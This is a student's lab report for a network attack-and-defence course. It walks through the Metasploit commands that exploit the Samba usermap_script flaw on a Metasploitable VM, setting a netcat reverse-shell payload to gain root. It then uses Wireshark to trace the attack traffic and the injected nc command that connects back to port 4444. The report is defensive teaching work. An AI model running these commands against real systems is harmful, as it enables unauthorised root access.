20252908 2025-2026-2 《网络攻防实践》实践7报告

20252908 2025-2026-2 《网络攻防实践》实践7报告

1.实践内容

1.1实验内容

  1. 利用Metasploit对Linux开展远程渗透攻击,调用usermap_script漏洞模块、配置反向Shell攻击载荷、设置渗透参数,成功获取靶机root权限。

  2. 开展攻防对抗实践,攻击方完成渗透攻击,防守方使用Wireshark抓取攻击流量,分析还原攻击过程,提取攻击者IP、靶机IP、服务端口与反弹端口、攻击时间、漏洞类型、攻击载荷及在命令行输入的信息等。

1.2知识点梳理

  1. Samba漏洞攻击原理:漏洞因服务对用户名字典脚本参数未做安全过滤,攻击者可构造恶意数据包注入系统命令,直接获得root权限。

  2. 双三次握手:在本次实验中我发现在一次渗透攻击中存在两条独立的TCP三次握手。一是139端口Samba服务握手,用于漏洞探测与恶意载荷注入;二是4444端口反弹Shell握手,作为后续命令交互、远程控制的专用通信通道。

  3. 哑Shell与交互式Shell:这是本实验我遇到的问题,nc反向Shell属于非交互式哑Shell,无终端提示符,我当时以为卡死;后执行shell命令升级为交互式Shell,出现提示符。

2.实践过程

2.1使用Metasploit进行Linux远程渗透攻击

本次实验用到20252908Sxl_kali2,IP地址为192.168.32.6,BJ_Metasploitable_ubuntu2,IP地址为192.168.32.10,先测试两机连通性,发现正常连通。

image-20260506153041325

2.1.1启动Metasploit软件

在kali虚拟机中提权后,使用命令:msfconsole,启动Metasploit框架。

image-20260506153630757

2.1.2使用exploit

使用命令:search samba usermap_script,检索本实验指定的Samba服务Usermap_script安全漏洞。包含了漏洞公开日期、模块可靠性等级等信息。

image-20260506153749477

使用命令:use exploit/multi/samba/usermap_script,加载此框架中的该漏洞的利用模块,发现命令提示符改变,进入漏洞模块的交互环境。

image-20260506154126065

2.1.3选择攻击PAYLOAD为远程shell

使用命令:set payload cmd/unix/reverse_netcat,我选择的是反向shell。

image-20260506154214070

2.1.4设置渗透攻击参数

使用命令:set RHOSTS 192.168.32.10,指定靶机IP地址。

使用命令:set LHOST 192.168.32.6,指定反弹Shell的本地监听攻击机。

不设置target是因为从之后show options里可发现开启了Automatic,所以会自动检测靶机的Samba版本和系统类型,不需要手动指定。

image-20260506155305174

2.1.5执行渗透攻击

使用命令:exploit,开始执行。当发现Command shell session 1 opened即表示反向Shell会话已建立,攻击完成。

image-20260506155335064

2.1.6查看是否正确得到远程Shell,并查看获得的权限。

使用命令:whoami,查看权限级别,发现为root,另通过ifconfig查询IP地址,确认攻击的主机确为BJ_Metasploitable_ubuntu2。

image-20260506205443743

2.2实践作业:攻防对抗实践

本次攻防和2.1章节的实验一致,攻击方为20252908Sxl_kali2,IP地址为192.168.32.6,BJ_Metasploitable_ubuntu2,IP地址为192.168.32.10。

2.2.1攻击过程

现在先在kali中打开wireshark,进行监听。然后利用2.1的漏洞重新攻击,来抓取流量包。在成功之后在命令行输入id、whoami等,为后续分析提供数据。

image-20260506163835525

2.2.2分析过程

攻击完毕后,查看抓取的数据包。

发现在3-5号包,kali:192.168.32.6和靶机:192.168.32.10,在Samba端口139完成了TCP三次握手,建立连接。

image-20260506165020259

随后,在10号包发现漏洞利用Samba的用户名参数注入命令,在靶机创建临时文件/tmp/iepfic通过nc反弹连接到Kali的4444端口,把/bin/sh的输入输出重定向到这个连接,并在执行完后删除临时文件。

image-20260506165150260

最后从11-14号包发现,Kali的4444端口和靶机的51584端口完成TCP三次握手,反向shell连接成功建立。

image-20260506165246755

使用:tcp.port == 4444过滤本次攻击中反弹 Shell会话的控制流量。右键任意一个包,Follow→TCP Stream,观察攻击者输入的所有命令和靶机返回的结果,还原交互过程。

可以发现首先将非交互式Shell升级为带root@metasploitable:/# 提示符的交互式终端;随后,攻击者依次执行id命令返回uid=0(root) gid=0(root),whoami命令返回root。

image-20260506165558902

2.2.3问题总结

  1. 攻击者IP:192.168.32.6,靶机IP:192.168.32.10。
  2. 攻击目标端口:139,反弹shell控制端口:4444。
  3. 攻击发起时间:2026-05-06 16:37:09。
  4. 攻击利用漏洞:从Kali向靶机139端口发送的恶意SMB请求,包含命令注入载荷,触发漏洞后靶机主动回连攻击者端口等特征可匹配Samba服务Usermap_script安全漏洞。
  5. 使用的shellcod:抓包中反弹Shell通道内的交互行为表明,使用的是cmd/unix/reverse_netcat反向Shell载荷。
  6. 成功之后在命令行输入的信息:shell进行升级,id、whoami进行权限查询。

3.学习中遇到的问题及解决

问题1:执行exploit后没有出现提示符,以为卡住了。

image-20260506215024568问题1解决方案:执行shell,会在当前会话里生成交互Shell。

4.实践总结

本次实验我使用Metasploit对Linux靶机进行渗透攻击,利用Samba的 usermap_script漏洞获取靶机root权限。本次选择了反向Netcat反弹shell的方式完成攻击。同时利用Wireshark抓取攻击流量,通过流量分析,完整还原攻击流程、识别漏洞、攻击载荷和执行的命令。通过本次实验,我在实验六基础上更加熟悉漏洞渗透的完整流程,理解了反向shell的工作原理,熟练掌握了分析流量抓包溯源的基础方法。

posted @ 2026-05-06 22:11  石幸龙  阅读(15)  评论(0)    收藏  举报